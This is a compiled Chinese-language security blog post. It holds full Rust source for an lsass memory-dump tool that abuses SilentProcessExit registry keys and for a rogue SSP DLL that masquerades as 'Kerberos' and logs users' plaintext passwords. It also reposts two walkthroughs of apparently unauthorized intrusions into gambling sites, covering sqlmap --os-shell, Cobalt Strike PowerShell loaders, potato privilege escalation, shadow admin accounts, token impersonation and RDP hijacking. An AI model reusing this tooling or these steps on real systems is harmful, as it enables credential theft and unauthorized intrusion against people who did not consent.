NT\CurrentVersion\Image File Execution Options\lsass.exe 名称 类型 数据 GlobalFlag REG_DWORD 0x200 另外就是第二个注册表,这个主要是设置dump内存的一些细节问题,比如dump的位置、崩溃后操作的类型,这类选择的是LOCAL_DUMP,即0x2也就是为导致终止的进程和终止的进程创建一个转储文件。 这里我们需要使用的是MiniDumpWithFullMemory对应的值是0x2。 关于MiniDumpWithFullMemory,其都定义在MINIDUMP_TYPE之中,其结构体如下: typedef enum _MINIDUMP_TYPE { MiniDumpNormal, MiniDumpWithDataSegs, MiniDumpWithFullMemory, MiniDumpWithHandleData, MiniDumpFilterMemory, MiniDumpScanMemory, MiniDumpWithUnloadedModules, MiniDumpWithIndirectlyReferencedMemory, MiniDumpFilterModulePaths, MiniDumpWithProcessThreadData, MiniDumpWithPrivateReadWriteMemory, MiniDumpWithoutOptionalData, MiniDumpWithFullMemoryInfo, MiniDumpWithThreadInfo, MiniDumpWithCodeSegs, MiniDumpWithoutAuxiliaryState, MiniDumpWithFullAuxiliaryState, MiniDumpWithPrivateWriteCopyMemory, MiniDumpIgnoreInaccessibleMemory, MiniDumpWithTokenInformation, MiniDumpWithModuleHeaders, MiniDumpFilterTriage, MiniDumpWithAvxXStateContext, MiniDumpWithIptTrace, MiniDumpScanInaccessiblePartialPages, MiniDumpValidTypeFlags } MINIDUMP_TYPE; 下面就是让lsass进程终止了,但是lsass.exe是系统进程,如果彻底终止就会导致系统蓝屏从而重启电脑,但是我们的目的只是为了转储lsass进程而不让电脑重启,这个时候我们就用到了RtlReportSilentProcessExit这个api,该API将与Windows错误报告服务(WerSvcGroup下的WerSvc)通信,告诉服务该进程正在执行静默退出。然后,WER服务将启动WerFault.exe,该文件将转储现有进程。值得注意的是,调用此API不会导致进程退出。其定义如下: NTSTATUS (NTAPI * RtlReportSilentProcessExit )( _In_ HANDLE ProcessHandle, _In_ NTSTATUS ExitStatus ); 所以最终的流程就是类似如图 作者的代码中,提供了两种方法来实现崩溃,一种是直接调用RtlReportSilentProcessExit,而另一种则是使用CreateRemoteThread()来实现,实际上就是远程在LSASS中创建线程执行RtlReportSilentProcessExit。 这里使用的是第一种方式来实现的。 代码 https://github.com/haoami/RustHashDump use std::{mem::{ size_of, transmute}, ffi::{CStr, OsString, c_void, OsStr, CString}, os::windows::prelude::{OsStringExt, AsRawHandle, RawHandle, OsStrExt}, fs::File, path::{Path, self}, ptr::null_mut, process::ExitStatus}; use std::ptr; use clap::{App,Arg}; use log::{error}; use windows_sys::{Win32::{Foundation::{ CloseHandle, GetLastError, INVALID_HANDLE_VALUE, HANDLE, LUID, NTSTATUS, }, Security::{TOKEN_PRIVILEGES, LUID_AND_ATTRIBUTES, SE_PRIVILEGE_ENABLED, TOKEN_ADJUST_PRIVILEGES, LookupPrivilegeValueA, AdjustTokenPrivileges}, System::{Threading::{OpenProcessToken, GetCurrentProcess, PROCESS_QUERY_LIMITED_INFORMATION, PROCESS_VM_READ}, Diagnostics::ToolHelp::TH32CS_SNAPTHREAD, Registry::{HKEY_LOCAL_MACHINE, HKEY, RegOpenKeyExW, KEY_READ, KEY_WRITE, RegCreateKeyExW, KEY_SET_VALUE, RegSetValueExA, REG_DWORD, KEY_ALL_ACCESS, REG_SZ, RegCreateKeyA, REG_CREATED_NEW_KEY}, LibraryLoader::{GetModuleHandleA, GetProcAddress, GetModuleHandleW}}, Storage::FileSystem::CreateFileA, UI::WindowsAndMessaging::GetWindowModuleFileNameA}, core::PCSTR}; use windows_sys::Win32::Storage::FileSystem::{ CreateFileW,CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, }; use windows_sys::Win32::System::Diagnostics::Debug::{ MiniDumpWithFullMemory,MiniDumpWriteDump }; use windows_sys::Win32::System::Diagnostics::ToolHelp::{ CreateToolhelp32Snapshot, Process32First, Process32Next, PROCESSENTRY32, TH32CS_SNAPPROCESS, }; use windows_sys::Win32::System::SystemServices::GENERIC_ALL; use windows_sys::Win32::System::Threading::{OpenProcess, PROCESS_ALL_ACCESS}; type FnRtlreportSilentProcessExit = unsafe extern "system" fn(HANDLE, NTSTATUS) -> NTSTATUS; fn getPrivilege(handle : HANDLE){ unsafe{ let mut h_token: HANDLE = HANDLE::default(); let mut h_token_ptr: *mut HANDLE = &mut h_token; let mut tkp: TOKEN_PRIVILEGES = TOKEN_PRIVILEGES { PrivilegeCount: 1, Privileges: [LUID_AND_ATTRIBUTES { Luid: LUID { LowPart: 0, HighPart: 0, }, Attributes: SE_PRIVILEGE_ENABLED, }], }; // 打开当前进程的访问令牌 let token = OpenProcessToken(handle, TOKEN_ADJUST_PRIVILEGES, h_token_ptr); if token != 0 { let systemname = ptr::null_mut(); if LookupPrivilegeValueA( systemname, b"SeDebugPrivilege\0".as_ptr(), &mut tkp.Privileges[0].Luid) != 0 { tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; // println!("{:?}",tkp.Privileges[0].Attributes); // 提升当前进程的 SeDebugPrivilege 权限 if AdjustTokenPrivileges( h_token, 0, &tkp as *const TOKEN_PRIVILEGES, 0, ptr::null_mut(), ptr::null_mut()) != 0 { println!("Token privileges adjusted successfully"); } else { let last_error = GetLastError() ; println!("AdjustTokenPrivileges failed with error: STATUS({:?})", last_error); } } else { let last_error = GetLastError() ; println!("LookupPrivilegeValue failed with error: STATUS({:?})", last_error); } // 关闭访问令牌句柄 CloseHandle(h_token); } else { let last_error = GetLastError() ; println!("OpenProcessToken failed with error: STATUS({:?})", last_error); } } } fn getPid(ProcessName : &str) -> u32{ unsafe{ let mut h_snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if h_snapshot == INVALID_HANDLE_VALUE { println!("Failed to call CreateToolhelp32Snapshot"); } let mut process_entry: PROCESSENTRY32 = std::mem::zeroed::<PROCESSENTRY32>() ; process_entry.dwSize = size_of::<PROCESSENTRY32>() as u32; if Process32First(h_snapshot, &mut process_entry) == 0 { println!("Process32First error"); } loop { let extFileName = CStr::from_ptr(process_entry.szExeFile.as_ptr() as *const i8).to_bytes(); let extfile = OsString::from_wide(extFileName.iter().map(|&x| x as u16).collect::<Vec<u16>>().as_slice()).to_string_lossy().into_owned(); if extfile.starts_with(ProcessName){ break; } if Process32Next(h_snapshot, &mut process_entry) == 0 { println!("Failed to call Process32Next"); break; } } process_entry.th32ProcessID } } fn setRegisterRegs() { unsafe{ let key = HKEY_LOCAL_MACHINE; let IFEO_REG_KEY = r"SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsass.exe"; let SILENT_PROCESS_EXIT_REG_KEY= r"SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\lsass.exe"; let subkey = OsString::from(IFEO_REG_KEY).encode_wide().chain(Some(0)).collect::<Vec<_>>(); let mut hKey = HKEY::default(); let mut hSubKey = HKEY::default(); let ret = RegCreateKeyExW( key, OsString::from(SILENT_PROCESS_EXIT_REG_KEY).encode_wide().chain(Some(0)).collect::<Vec<u16>>().as_ptr(), 0, null_mut(), 0, KEY_ALL_ACCESS, ptr::null_mut(), &mut hSubKey, ptr::null_mut()); if ret != 0 { println!("{:?}",ret); println!("[-] CreateKey SilentProcessExit\\lsass.exe ERROR\n"); } let DumpTypevalue = std::mem::transmute::<&i32,*const u8>(&0x02) ; let DumpTypekey = CString::new("DumpType").unwrap(); let ret = RegSetValueExA( hSubKey, DumpTypekey.as_ptr() as *const u8, 0, REG_DWORD, DumpTypevalue, size_of::<u32>() as u32 ); if ret != 0{ println!("[-] SetDumpTypeKey SilentProcessExit\\lsass.exe ERROR\n"); } let ReportingModevalue = std::mem::transmute::<&i32,*const u8>(&0x02) ; let ReportingModekey = CString::new("ReportingMode").unwrap(); let ret = RegSetValueExA( hSubKey, ReportingModekey.as_ptr() as *const u8, 0, REG_DWORD, ReportingModevalue, size_of::<u32>() as u32 ); if ret != 0{ println!("[-] SetReportingModevalueKey SilentProcessExit\\lsass.exe ERROR\n"); } let ReportingModevalue = "C:\\temp" ; let ReportingModekey = CString::new("LocalDumpFolder").unwrap(); let ret = RegSetValueExA( hSubKey, ReportingModekey.as_ptr() as *const u8, 0, REG_SZ, ReportingModevalue.as_ptr(), ReportingModevalue.len() as u32 ); if ret != 0{ println!("[-] SetReportingModekeyKey SilentProcessExit\\lsass.exe ERROR\n"); } let mut hSubKey = HKEY::default(); let ret = RegCreateKeyExW( key, OsString::from(IFEO_REG_KEY).encode_wide().chain(Some(0)).collect::<Vec<u16>>().as_ptr(), 0, null_mut(), 0, KEY_ALL_ACCESS, ptr::null_mut(), &mut hSubKey, ptr::null_mut()); if ret != 0 { println!("[-] CreateKey {:?} ERROR\n",IFEO_REG_KEY); } let GlobalFlagvalue = std::mem::transmute::<&i32,*const u8>(&0x0200) ; let GlobalFlagkey = CString::new("GlobalFlag").unwrap(); let ret = RegSetValueExA( hSubKey, GlobalFlagkey.as_ptr() as *const u8, 0, REG_DWORD, GlobalFlagvalue, size_of::<u32>() as u32 ); if ret != 0{ println!("[-] SetReportingModekeyKey SilentProcessExit\\lsass.exe ERROR\n"); } println!("SetRegistryReg successful!"); } } fn main() { let matches = App::new("SysWhispers3 - SysWhispers on steroids") .arg(Arg::with_name("DumpFileName") .short("f") .long("DumpFileName") .takes_value(true) .help("DumpFileName Path like C:\\temp.dmp")).get_matches(); let mut out_file = ""; if matches.is_present("DumpFileName") { out_file = matches.value_of("DumpFileName").expect("get DumpFileName args error"); }else { out_file = "lsass.dmp"; } // getProcess(out_file); getPrivilege(unsafe { GetCurrentProcess() }); setRegisterRegs(); let lsassPid = getPid("lsass.exe"); let process_handle = unsafe { OpenProcess(PROCESS_ALL_ACCESS, 0, lsassPid) }; if process_handle == 0 { println!("Fail to open the Lsassprocess "); } unsafe{ let ntdll_module_name: Vec<u16> = OsStr::new("ntdll.dll").encode_wide().chain(Some(0).into_iter()).collect(); let h_nt_mod = GetModuleHandleW(ntdll_module_name.as_ptr()); if h_nt_mod ==0 { println!(" - 获取NTDLL模块句柄失败"); } let function_name = CString::new("RtlReportSilentProcessExit").unwrap(); let FnRtlreportSilentProcessExit = GetProcAddress( h_nt_mod, function_name.as_ptr() as *const u8).expect("") ; let fn_rtl_report_silent_process_exit : FnRtlreportSilentProcessExit = transmute(FnRtlreportSilentProcessExit); let desired_access = PROCESS_QUERY_LIMITED_INFORMATION | PROCESS_VM_READ; let h_lsass_proc = OpenProcess(desired_access, 0, lsassPid); if h_lsass_proc == 0 { println!("[+] 获取lsass进程句柄失败: {:X}", GetLastError()); } println!("[+] Got {:?} PID: {:?}","lsass.exe",lsassPid as u32); let ntstatus = fn_rtl_report_silent_process_exit(h_lsass_proc,0); if ntstatus == 0{ println!("[+] DumpLsass Successful and file is c:\\temp\\lsass*.dmp...RET CODE : %#X\n"); }else { println!("FnRtlreportSilentProcessExit error!"); } } } 添加自定义的SSPSSP(Security Support Provider)是windows操作系统安全机制的提供者。简单的说,SSP就是DLL文件,主要用于windows操作系统的身份认证功能,例如NTLM、Kerberos、Negotiate、Secure Channel(Schannel)、Digest、Credential(CredSSP)。 SSPI(Security Support Provider Interface,安全支持提供程序接口)是windows操作系统在执行认证操作时使用的API接口。可以说SSPI就是SSP的API接口。 官方解释 在windowsw中lsass.exe和winlogin.exe进程是用来管理登录的两个进程,都包含在LSA(Local Security Authority)里面,它主要是负责运行windows系统安全策略。SSP在windows启动之后,会被加载到lsass.exe进程中,所以关于SSP的用户密码窃取一般是下面几种方法。 (1) 使用MemSSP对lsass进行patch 优点: 不需要重启服务器Lsass进程中不会出现可疑的DLL 缺点:需要调用WriteProcessMemory对lsass进行操作,可能会被标记(2) 使用AddSecurityPackage加载SSP 优点: 可以绕过部分杀软对lsass的监控可以加载mimilib来记录密码以应对版本大于等于Windows Server 2012的情况不需要重启服务器 缺点:需要写注册表需要将SSP的dll拷贝到system32下Blue Team可以通过枚举SSP来发现我们自定义的SSP,并且lsass进程中可以看到加载的DLL(3) 通过RPC加载SSP 优点: 可以绕过杀软对lsass的监控可以加载mimilib来记录密码以应对版本大于等于Windows Server 2012的情况不需要重启服务器不需要写注册表 缺点:因为没有写注册表,所以无法持久化,如果目标机器重启的话将无法记录密码(因此个人认为比较适合在Server上用,不适合在PC上用)这里用rust对三种方法都进行一个实现,暂且实现了AddSecurityPackage方法,后续github持续更新。一些基础知识可以看msdn->https://learn.microsoft.com/zh-cn/windows/win32/secauthn/lsa-mode-initialization 使用AddSecurityPackage加载SSP完整代码在 https://github.com/haoami/RustSSPdumpHash lib如下 use std::{os::{windows::prelude::{FileExt, OsStringExt, OsStrExt}, raw::c_void}, io::Write, slice, ffi::{OsString, CString}, fs::File}; use windows::{ Win32::{ Security::{ Authentication::Identity::{ SECPKG_PARAMETERS, LSA_SECPKG_FUNCTION_TABLE, SECPKG_FLAG_ACCEPT_WIN32_NAME, SECPKG_FLAG_CONNECTION, SECURITY_LOGON_TYPE, LSA_UNICODE_STRING, SECPKG_PRIMARY_CRED, SECPKG_SUPPLEMENTAL_CRED, SECPKG_INTERFACE_VERSION, SecPkgInfoW, PLSA_AP_INITIALIZE_PACKAGE, PLSA_AP_LOGON_USER, PLSA_AP_CALL_PACKAGE, PLSA_AP_LOGON_TERMINATED, PLSA_AP_CALL_PACKAGE_PASSTHROUGH, PLSA_AP_LOGON_USER_EX, PLSA_AP_LOGON_USER_EX2, SpShutdownFn, SpInitializeFn, SpAcceptCredentialsFn, SpAcquireCredentialsHandleFn, SpFreeCredentialsHandleFn, LSA_AP_POST_LOGON_USER, SpExtractTargetInfoFn, PLSA_AP_POST_LOGON_USER_SURROGATE, PLSA_AP_PRE_LOGON_USER_SURROGATE, PLSA_AP_LOGON_USER_EX3, SpGetTbalSupplementalCredsFn, SpGetRemoteCredGuardSupplementalCredsFn, SpGetRemoteCredGuardLogonBufferFn, SpValidateTargetInfoFn, SpUpdateCredentialsFn, SpGetCredUIContextFn, SpExchangeMetaDataFn, SpQueryMetaDataFn, SpChangeAccountPasswordFn, SpSetCredentialsAttributesFn, SpSetContextAttributesFn, SpSetExtendedInformationFn, SpAddCredentialsFn, SpQueryContextAttributesFn, SpGetExtendedInformationFn, SpGetUserInfoFn, SpApplyControlTokenFn, SpDeleteContextFn, SpAcceptLsaModeContextFn, SpInitLsaModeContextFn, SpDeleteCredentialsFn, SpGetCredentialsFn, SpSaveCredentialsFn, SpQueryCredentialsAttributesFn}, Authorization::ConvertSidToStringSidW }, Foundation::{NTSTATUS, STATUS_SUCCESS, PSID} }, core::PWSTR }; use windows::core::Result; use windows::core::Error; pub type SpGetInfoFn = ::core::option::Option<unsafe extern "system" fn(packageinfo: *mut SecPkgInfoW) -> NTSTATUS>; #[repr(C)] pub struct SECPKG_FUNCTION_TABLE { pub InitializePackage: PLSA_AP_INITIALIZE_PACKAGE, pub LogonUserA: PLSA_AP_LOGON_USER, pub CallPackage: PLSA_AP_CALL_PACKAGE, pub LogonTerminated: PLSA_AP_LOGON_TERMINATED, pub CallPackageUntrusted: PLSA_AP_CALL_PACKAGE, pub CallPackagePassthrough: PLSA_AP_CALL_PACKAGE_PASSTHROUGH, pub LogonUserExA: PLSA_AP_LOGON_USER_EX, pub LogonUserEx2: PLSA_AP_LOGON_USER_EX2, pub Initialize: SpInitializeFn, pub Shutdown: SpShutdownFn, pub GetInfo: SpGetInfoFn, pub AcceptCredentials: SpAcceptCredentialsFn, pub AcquireCredentialsHandleA: SpAcquireCredentialsHandleFn, pub QueryCredentialsAttributesA: SpQueryCredentialsAttributesFn, pub FreeCredentialsHandle: SpFreeCredentialsHandleFn, pub SaveCredentials: SpSaveCredentialsFn, pub GetCredentials: SpGetCredentialsFn, pub DeleteCredentials: SpDeleteCredentialsFn, pub InitLsaModeContext: SpInitLsaModeContextFn, pub AcceptLsaModeContext: SpAcceptLsaModeContextFn, pub DeleteContext: SpDeleteContextFn, pub ApplyControlToken: SpApplyControlTokenFn, pub GetUserInfo: SpGetUserInfoFn, pub GetExtendedInformation: SpGetExtendedInformationFn, pub QueryContextAttributesA: SpQueryContextAttributesFn, pub AddCredentialsA: SpAddCredentialsFn, pub SetExtendedInformation: SpSetExtendedInformationFn, pub SetContextAttributesA: SpSetContextAttributesFn, pub SetCredentialsAttributesA: SpSetCredentialsAttributesFn, pub ChangeAccountPasswordA: SpChangeAccountPasswordFn, pub QueryMetaData: SpQueryMetaDataFn, pub ExchangeMetaData: SpExchangeMetaDataFn, pub GetCredUIContext: SpGetCredUIContextFn, pub UpdateCredentials: SpUpdateCredentialsFn, pub ValidateTargetInfo: SpValidateTargetInfoFn, pub PostLogonUser: LSA_AP_POST_LOGON_USER, pub GetRemoteCredGuardLogonBuffer: SpGetRemoteCredGuardLogonBufferFn, pub GetRemoteCredGuardSupplementalCreds: SpGetRemoteCredGuardSupplementalCredsFn, pub GetTbalSupplementalCreds: SpGetTbalSupplementalCredsFn, pub LogonUserEx3: PLSA_AP_LOGON_USER_EX3, pub PreLogonUserSurrogate: PLSA_AP_PRE_LOGON_USER_SURROGATE, pub PostLogonUserSurrogate: PLSA_AP_POST_LOGON_USER_SURROGATE, pub ExtractTargetInfo: SpExtractTargetInfoFn, } const SecPkgFunctionTable : SECPKG_FUNCTION_TABLE= SECPKG_FUNCTION_TABLE{ InitializePackage: None , LogonUserA: None , CallPackage: None, LogonTerminated: None, CallPackageUntrusted: None, CallPackagePassthrough: None, LogonUserExA: None, LogonUserEx2: None, Initialize: Some(_SpInitialize), Shutdown: Some(_SpShutDown), GetInfo: Some(_SpGetInfo), AcceptCredentials: Some(_SpAcceptCredentials), AcquireCredentialsHandleA: None, QueryCredentialsAttributesA: None, FreeCredentialsHandle: None, SaveCredentials: None, GetCredentials: None, DeleteCredentials: None, InitLsaModeContext: None, AcceptLsaModeContext: None, DeleteContext: None, ApplyControlToken: None, GetUserInfo: None, GetExtendedInformation: None, QueryContextAttributesA: None, AddCredentialsA: None, SetExtendedInformation: None, SetContextAttributesA: None, SetCredentialsAttributesA: None, ChangeAccountPasswordA: None, QueryMetaData: None, ExchangeMetaData: None, GetCredUIContext: None, UpdateCredentials: None, ValidateTargetInfo: None, PostLogonUser: None, GetRemoteCredGuardLogonBuffer: None, GetRemoteCredGuardSupplementalCreds: None, GetTbalSupplementalCreds: None, LogonUserEx3: None, PreLogonUserSurrogate: None, PostLogonUserSurrogate: None, ExtractTargetInfo: None, }; #[no_mangle] pub unsafe extern "system" fn _SpGetInfo(packageinfo: *mut SecPkgInfoW) -> NTSTATUS { (*packageinfo).fCapabilities = SECPKG_FLAG_ACCEPT_WIN32_NAME | SECPKG_FLAG_CONNECTION; (*packageinfo).wVersion = 1; (*packageinfo).wRPCID = 0; (*packageinfo).cbMaxToken = 0; let name = OsString::from("Kerberos").encode_wide().chain(Some(0)).collect::<Vec<_>>().as_ptr(); let Comment= OsString::from("Kerberos v1.0").encode_wide().chain(Some(0)).collect::<Vec<_>>().as_ptr(); (*packageinfo).Name = name as *mut u16; (*packageinfo).Comment = Comment as *mut u16; STATUS_SUCCESS } #[no_mangle] pub unsafe extern "system" fn _SpShutDown() -> NTSTATUS { STATUS_SUCCESS } #[no_mangle] pub unsafe extern "system" fn _SpInitialize( packageid: usize, parameters: *const SECPKG_PARAMETERS, functiontable: *const LSA_SECPKG_FUNCTION_TABLE, ) -> NTSTATUS { STATUS_SUCCESS } pub fn lsa_unicode_string_to_string(lsa_us: &LSA_UNICODE_STRING) -> String { let slice = unsafe { slice::from_raw_parts(lsa_us.Buffer.0 as *const u16, lsa_us.Length as usize / 2) }; let os_string = OsString::from_wide(slice); os_string.into_string().unwrap() } #[no_mangle] pub unsafe extern "system" fn _SpAcceptCredentials( logontype: SECURITY_LOGON_TYPE, accountname: *const LSA_UNICODE_STRING, primarycredentials: *const SECPKG_PRIMARY_CRED, supplementalcredentials: *const SECPKG_SUPPLEMENTAL_CRED, ) -> NTSTATUS { let mut logfile = File::create("C:\\temp.log").expect(""); logfile.write_all(">>>>\n".as_bytes()).expect("CustSSP.log write failed"); writeln!( logfile, "[+] Authentication Id : {}:{} ({:08x}:{:08x})", (*primarycredentials).LogonId.HighPart, (*primarycredentials).LogonId.LowPart, (*primarycredentials).LogonId.HighPart, (*primarycredentials).LogonId.LowPart, ).unwrap(); let logon_type_str = match logontype { SECURITY_LOGON_TYPE::UndefinedLogonType => "UndefinedLogonType", SECURITY_LOGON_TYPE::Interactive => "Interactive", SECURITY_LOGON_TYPE::Network => "Network", SECURITY_LOGON_TYPE::Batch => "Batch", SECURITY_LOGON_TYPE::Service => "Service", SECURITY_LOGON_TYPE::Proxy => "Proxy", SECURITY_LOGON_TYPE::Unlock => "Unlock", SECURITY_LOGON_TYPE::NetworkCleartext => "NetworkCleartext", SECURITY_LOGON_TYPE::NewCredentials => "NewCredentials", SECURITY_LOGON_TYPE::RemoteInteractive => "RemoteInteractive", SECURITY_LOGON_TYPE::CachedInteractive => "CachedInteractive", SECURITY_LOGON_TYPE::CachedRemoteInteractive => "CachedRemoteInteractive", SECURITY_LOGON_TYPE::CachedUnlock => "CachedUnlock", _ => "Unknown !" }; writeln!(logfile, "[+] Logon Type : {}", logon_type_str).unwrap(); writeln!(logfile, "[+] User Name : {:?}", accountname); writeln!(logfile, "[+] * Domain : {:?}", lsa_unicode_string_to_string(&(*primarycredentials).DomainName)); writeln!(logfile, "[+] * Logon Server : {:?}", lsa_unicode_string_to_string(&(*primarycredentials).LogonServer)); writeln!(logfile, "[+] * SID : {:?}", convert_sid_to_string((*primarycredentials).UserSid)); writeln!(logfile, "[+] * UserName : {:?}", lsa_unicode_string_to_string(&(*primarycredentials).DownlevelName)); writeln!(logfile, "[+] * Password : {:?}", lsa_unicode_string_to_string(&(*primarycredentials).Password)); drop(logfile); STATUS_SUCCESS } #[no_mangle] pub fn convert_sid_to_string(sid: PSID) -> Result<String> { let mut sid_string_ptr: PWSTR = windows::core::PWSTR(std::ptr::null_mut()); let result = unsafe { ConvertSidToStringSidW(sid, &mut sid_string_ptr) }; if result.is_ok() { let sid_string = unsafe { get_string_from_pwstr(sid_string_ptr) }; Ok(sid_string) } else { Err(Error::from_win32()) } } #[no_mangle] pub unsafe fn get_string_from_pwstr(pwstr: PWSTR) -> String { let len = (0..).take_while(|&i| *pwstr.0.offset(i) != 0).count(); let slice = std::slice::from_raw_parts(pwstr.0 as *const u16, len); String::from_utf16_lossy(slice) } #[no_mangle] pub unsafe extern "system" fn SpLsaModeInitialize( LsaVersion: u32, PackageVersion: *mut u32, ppTables: *mut *const SECPKG_FUNCTION_TABLE, pcTables: *mut u32, ) -> NTSTATUS { *PackageVersion = SECPKG_INTERFACE_VERSION ; *ppTables = &SecPkgFunctionTable; *pcTables = 1 as u32; STATUS_SUCCESS } 参考文章 https://lengjibo.github.io/lassdump/ https://xz.aliyun.com/t/12157#toc-10 https://www.crisprx.top/archives/469 https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E5%9F%BA%E7%A1%80-%E8%BF%9C%E7%A8%8B%E4%BB%8Elsass.exe%E8%BF%9B%E7%A8%8B%E5%AF%BC%E5%87%BA%E5%87%AD%E6%8D%AE https://www.freebuf.com/sectool/226170.html https://xz.aliyun.com/t/12157#toc-4 https://cloud.tencent.com/developer/article/2103172 https://mrwu.red/web/2000.html https://www.wangan.com/p/11v72bf602eabeb6#SpAcceptCredentials https://loong716.top/posts/lsass/#4-x86%E7%8E%AF%E5%A2%83%E4%B8%8B%E5%88%A9%E7%94%A8rpc%E5%8A%A0%E8%BD%BDssp https://xz.aliyun.com/t/8323 https://drunkmars.top/2021/12/05/%E6%B3%A8%E5%85%A5SSP/ https://blog.xpnsec.com/exploring-mimikatz-part-2/ https://www.wangan.com/p/11v72bf602eabeb6 https://github.com/haoami/RustSSPdumpHash 转载于原文链接地址:https://forum.butian.net/share/2434
-
记一次对某杀猪盘站点的实战渗透
前言昨天半夜看到一篇文章 某菠菜网站渗透实战 就想着自己也练一练手,打到一半发现,大师傅们对这类站点已经狠狠的蹂躏了,所以借鉴师傅们的经验,本着锻炼一下,想到哪就记一下,所以写的比较杂乱,其中有没有解决的地方也记录下来的,然后又换了个站点接着走了下去 信息收集前台这样 看一下其他的信息 端口查询 80为主页面 81 82 为后台登录界面 1433 mssql 目录扫描 存在目录遍历 漏洞发掘先去后台页面 输入用户名:123提示用户不存在 输入用户名:admin提示用户或密码不正确 确认admin账号,且没有验证码验证,可尝试爆破 直接弱密码 admin 123456 进入后台 功能不多,利用点也没什么 重新回到登录处进行sql注入 mssql,dba权限,直接–os-shell 这里第一台机器不出网且没回显,放弃了,找了几个站终于找到一个出网且回显的网站(只要出网就挺好解决的) CS上线这里尝试CS,判断出网直接生成powershell上线 看一下信息,查一下tasklist 目前是数据库权限,尝试提权,结果直接打掉线,网站也打不开了,还是要慎用,做足信息收集,做足补丁信息的收集 又换了一个站点:找到网站路径 先拿个webshell 哥斯拉顺手甜土豆提权为 system CS插件甜土豆也提权成功 抓一下管理员密码 logonpasswords 付费的 加个影子账户,管理员权限 公网CS通过frp转到内网MSF先上文章吧 FRP+CS实现本地Kali收Shell 服务端(这里为5000,改完忘截图了) 客户端 MSF开启监听 CS 后续看能不能通过窃取Token以管理员身份登录 getuid //查看当前token use incognito //加载incognito list_tokens -u //列出accesstoken impersonate_token “xxxxxxx\administrator” //模拟管理员用户 rev2self //返回之前的accesstoken权限 假冒一下令牌 但是进入shell的时候不是管理员身份,以system身份查找当前进程,迁移到管理员的进程中 再进入shell 然后我还是想 RDP上去但是又没有密码,想到之前看过的一篇文章进行RDP会话劫持: 内网渗透 | RDP会话劫持实现未授权登录 内网漫游:通过RDP劫持向远程系统执行任意代码 最后时间太晚了,就又换了一个站点,成功抓取到密码 RDP直接上去 转载于原文链接: https://mp.weixin.qq.com/s/isk1bmYOuR_79QOBDlwFZQ?ref=www.ctfiot.com
-
某菠菜网站渗透实战
一.前言最近听说用某qipai产品建的站存在SQL注入,刚好别人发来一个 渗透惯用套路一把梭 信息收集 -> 漏洞探测/利用 -> 提权/权限维持 -> 清理痕迹 二.信息收集浏览器访问主页初步发现 系统:Windows server中间件 IIS7.5语言:ASPX 端口扫描 nmap -sV -T4 -p- 11x.xx.xxx.xx开放的端口真不少 其中web服务的有几个:80(当前主页)、81、82、88、47001 81:是这个qipai站的后台 82:也是个后台,不知道是什么系统的后台,有验证码 88/47001:访问失败 1433:数据库 mssql 还开了 139、445但是被过滤了,不知道是不是有防火墙,后面再看 敏感目录扫描 先用 Dirsearch 过一遍,前面搜集到网站语言是 aspx,加上 -e 指定语言 python dirsearch.py -u http://11x.xx.xxx.xx -e aspx再用 7kbscan 过一遍,毕竟这里面收集的都是国人常用的字典 /m/是用户注册页面,可能有用,先记着 /test.html是调起微信的入口,没啥用,可能是在手机端引导受害者聊天的吧 查IP 北京某个运营商的服务器,菠菜在国内服务器建站挺大胆的 信息整理 估计就是个人建的小站,不去展开收集更过的东西了,免得打偏浪费时间 三.漏洞探测重点先放在前面找到的 81 端口,也就是网站的后台管理页面 没有验证码,用户名 / 密码随便写个 admin / admin,抓包 用户名加了个引号发送请求直接返回报错了,不出意外应该会有报错注入或者盲注啥的 兵分两路 一路把这个数据包保存到本地 qipai.txt,用 sqlmap 去扫,前面已经知道是 mssql 数据库,加上 --dbms 参数指定数据库类型节约时间 python sqlmap.py -r qipai.txt --dbms "Microsoft SQL Server" --dbs另一路,把数据包发送到 intruder 模块去爆破密码,尝试了在浏览器随便输入用户名,提示 "用户名不存在",输入 admin 的时候提示 "用户名或密码错误",说明 admin 账户是存在的,只爆破密码就行 爆出密码 888999,弱口令,永远滴神! 成功登录后台 只有 69 个注册用户,剩下的全是机器人,这 69 个用户冲了 143 万?玩qipai的都这么有钱吗,我欢乐doudizhu都舍不得冲 6 块首充 赌博沾不得呀,这个老哥一天输了 2800 在后台翻了半天没找到上传点,先放着 回到另一路 sqlmap 看看,确定存在注入,已经在慢慢跑库名了 跑出 16 个库,根据名字猜 RYPlatformManagerDB库可能存着管理员的相关信息 跑表名 python sqlmap.py -r qipai.txt --tables -D RYPlatformManagerDB翻了半天就找到一个管理员的账号密码,就是前面 bp 爆破出来的那个,还有一些用户的信息,没啥更有价值的 python sqlmap.py -r qipai.txt --is-dba 是 DBA 权限,尝试拿 shell,mssql 数据库直接用 sqlmap 爆破路径就行了 python sqlmap.py -r qipai.txt --os-shell用的盲注,时间较慢,经过漫长的等待终于成功拿 shell,渗透呐,表面上是个技术活,实际上是个体力活 当前用户权限很小,只是个 mssql 数据库权限 Systeminfo 查看一下系统信息,可以看到系统是 64 位的 Windows server 2008 Cobaltstrike 生成攻击载荷,再目标机器上用 powershell 加载,目标机器成功上线 net user查看用户 tasklist查看进程,应该没有装杀软 net start查看已开启的服务,可以看到防火墙是开启的,所以前面 nmap 扫描 445 等端口被过滤 关闭防火墙,额还没提权 四.提权/wei权前面得知这个机器是 windows server 2008,尝试用土豆提权(MS16-075) 执行后稍等了一会儿,比较幸运,这个机器没打补丁,一次就提权成功,拿到 system 权限,开始为所欲为 进入文件管理,能看到前面信息收集时的 test.html 文件 netstat -ano看一下端口开放情况,3389 没有开 手动开启一下 可以访问远程桌面了 cobaltstrike 操作我不是很熟练,还是用 metasploite 吧,通过 cs 上传一个 msf 生成的马,msf 开启监听 注:cs 可以直接派生 shell 给 msf,但是当时我尝试的老半天 msf 一直没有返回 session,所以才无奈先手动上传一个 msf 的马曲线救国 msf 开启监听 在 cs 上运行上传的马 msf 成功拿到 shell,是继承的 system 权限 查看密码哈希,不能获取,因为msf的这个马是32位的,系统是64位的 ps查看进程,在进程中找一个以 system 权限运行的 64 位的程序,迁移进程后再获取哈希 到在线破解哈希的网站查一下 administrator 的密码,密码不算复杂,几秒钟就查到了 成功登录远程桌面 